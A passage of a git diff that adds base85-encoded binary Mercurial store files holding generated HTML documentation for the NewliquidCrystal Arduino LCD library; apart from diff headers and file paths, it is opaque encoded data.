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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r______l__c__d3__8h.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r______l__c__d3__8h.html.i new file mode 100644 index 0000000000000000000000000000000000000000..453a07b1c6d4628ff9e8a8882f0d03a7a47e87ac GIT binary patch literal 1758 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 Uy3Cf;#@7$9ipTiiFS|+M7a|h!(f|Me literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__s__i2__c__i__o__8h__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__s__i2__c__i__o__8h__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..ca4e8cb5af98868576789e0d8c1b5cfe226497d5 GIT binary patch literal 4495 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__soft__i2__c__master__8h__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__soft__i2__c__master__8h__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..8c4f60ba59e0d06a5e344b4a33e95bf34eefa2cc GIT binary patch literal 13220 zcmXwfbyVCvu=a0R++B*hyAeCPT}^w-~HyF zOeT|@IVVpt&zS@O0U+Ri1&s#)1knGV4m7_0pV+bEfm448q6)kCF4MsU+K+s#4F5l$ z|82Z78}xrWtOydmY!n&uN6s^wj@|8V6I;2aAtp9T>^OW5B&nBPv9pk;XBNpeg?dN( zclalW(b4N(Mc1Yi%Gs-m-u1;N(ws>v|YLcTa0jBhA^#9u(JLz2ZxGK!AD&x+OKC+pfjKs-aP4rInv3Ez$h9`)?*V z)v)%mO=pyy&B8>zf=VWM0*a$RDl|7)i74NZWCLR?Z?}Ff{cP$dUdE`E9gCt*47(0C?I&vD$d&y)Ul@W(1G5h@%|5o9 zl-P7#1IvUD#Z6ZpGp(5uHpOLnUkie02U=w05839@1#gZ}umo`n+L$44&?Vru159@@+onGeNetUIP( z#?&dLmjXj3yI34DDP;K($4qqd#0hc=afoYg4-Lk3RW>jPW%)U~9c1+HV0E2zlZ!6GW|tryw$}m=4JheR=eulbX{Uv%p*#t zp!-vAsKP;5D;G0zPtd^}iwk%c2`+U!NJzr;gHVwCP#7w_5jp2(zf1vrgv>kHIh*8I zgK1*LgiR*%=Xfd6*wDqim)+h{{bS+&N>Zb*B0iF~U?XBRMBt)yS5PX;;ohs#Zyv7_ z7pHcUl}+(vD%_EN#w%y0XoO$Al2?%F2C7Mf1^iza~;7{EkRkuZ>al zGa-+y85+4%5IeQtQ009A>`Z#{K|Oa|2XFS>y;L}_cnT=?XgWbnqRZ!7f^(pE!)71P z+gSMi-laYYYutHBZbSdrp$9^mqmgc@8-9Fs@#Fa6*6YbD_vh?Ij* zOWmnSlHd6KzW?#|tXNr|J|&n97M?_{;Y~8}{UN&r$@9oA!Qu%bD%US+HGTmO)W81?> ztmdW{KcKV7Y$+X&G2b#4!X**fVc8mn;jw1GDZ*KBAQ@Bq@;OioY9uH+u^Gsz*exTe zwvf%%+3Q?*2@)4{xl4)AhDn}?c5hIEb zi6XuqUzjG9u>VD+)_=~1sRdkGG3NP^{%@W!(e1BihGFWmvRtcDbLld+l28>FPk!?X zeVwFW9n;xIFaFB2htcK}{LVjF8r7|bpEEO;oaV*Gq+%m*ERVAFvJe6_O{nWwv?Fg| zSbi>@qX+DRn$+%V{ki1@QN9zM5r?7Wq2iklKzUU=nTw!0y0z;e`sZUEZqc;fR8j5X z)K1X=l&49(@$bYalDMzBmz5=~>ir;CZV)sglu8bJGcrge>GffA-$}D7iCF)G)Mwpp z4G7$oKkX8wdD^D@8ytHva$cq|mw8(T6%dOcBuQ~xc93{5rqPEEiBe6mSC70;tC$z7 zSic0!QMy7xCodt9^ZDAYf<6B`yWWREmJ+SZ^wtl0>{YAPESePoF;o;!NwUTj2ZUr( zdOxy1+QiJ6PGEkWN=Π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 